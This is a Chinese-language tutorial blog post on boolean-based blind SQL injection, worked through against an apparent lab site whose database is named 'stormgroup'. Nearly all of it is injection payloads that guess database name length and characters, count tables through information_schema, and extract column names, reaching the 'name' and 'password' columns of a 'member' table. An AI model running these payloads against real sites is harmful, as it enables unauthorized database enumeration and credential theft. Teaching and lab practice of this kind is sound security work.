布尔注入简介:
盲注就是在注入过程中,获取的数据不能回显至前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注
案例:按照以前的办法根本没有用,它并不会有回显界面给我们
因此,这时候需要用到盲注的攻击手段
1、猜解数据库长度:
and length(database())>5------回显正常
and length(database())=10------回显正常
and length(database())>11------回显错误
and length(database())=11------回显错误
代表数据库有10个字符长度,我们可以通过比较来判断范围,进而确定
2、猜解数据库:and ascii(substr(database(),1,1))=115 //substr截取字符串database(),从start(1)开始截取,截取stop(1)个字符,再去看ascii码表,115代表s,那第一个字符为s
猜解第二位:and ascii(substr(database(),2,1))=116...//substr截取字符串database(),从start(2)开始截取,截取stop(1)个字符,去看ascii码表,116代表t,那第二个字符为t
以此类推,得到完整的数据库名:stormgroup
回显正常代表存在,回显页面什么都没有代表没有,比如这样:
接着,我们开始猜解表:and (select count(table_name) from information_schema.tables where table_schema=database())=2 ,我这是猜出来有两个表,具体几个还得看情况
3、猜解表长度:and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6
这说明表1有6个字符长度,接着我们猜表2,上面提到过,我们已经猜解出来有两个表了,所以接着猜解第二个:and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=6 显示正常,说明第二个表也是6个字符长度
注释:
4、猜字段的数量:and (select count(column_name) from information_schema.columns where table_name='member')=3
我们猜出来第一个表有3个字段,那么接下来该猜解字段长度了
猜第一个字段的长度:and length(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),1))=4,代表第一个字段有4个字符长度 #回显正常
第二个:and length(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),1))=8 #回显正常
第三个:and length(substr((select column_name from information_schema.columns where table_name= 'member' limit 2,1),1))=6 #回显正常
第一个字段有4个字符的长度,第二个字段有8个字符的长度,第三个字段有6个字符的长度
知道这些,我们根据上面的方法,再去猜解字段名
猜第一个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),1,1))=110------n 回显正常
第二个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),2,1))=97------a 回显正常
第三个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),3,1))=110------n 回显正常
第四个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 0,1),4,1))=101------e 回显正常
通过ascii码得出,猜解出来第一个字段名为:name
猜解第二个字段名:
第一个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),1,1))=112-----p 回显正常
第二个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),2,1))=97-----a 回显正常
第三个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),3,1))=115-----s 回显正常
第四个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),4,1))=115-----s 回显正常
第五个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),5,1))=119-----w 回显正常
第六个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),6,1))=111-----o 回显正常
第七个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),7,1))=114-----r 回显正常
第八个字符:and ascii(substr((select column_name from information_schema.columns where table_name= 'member' limit 1,1),8,1))=100-----d 回显正常
可以得知,第二个字段名为:password
第三个以此类推就好了,第二个表也一样
版权声明:本文为博主原创文章,转载请附上原文出处链接和本声明。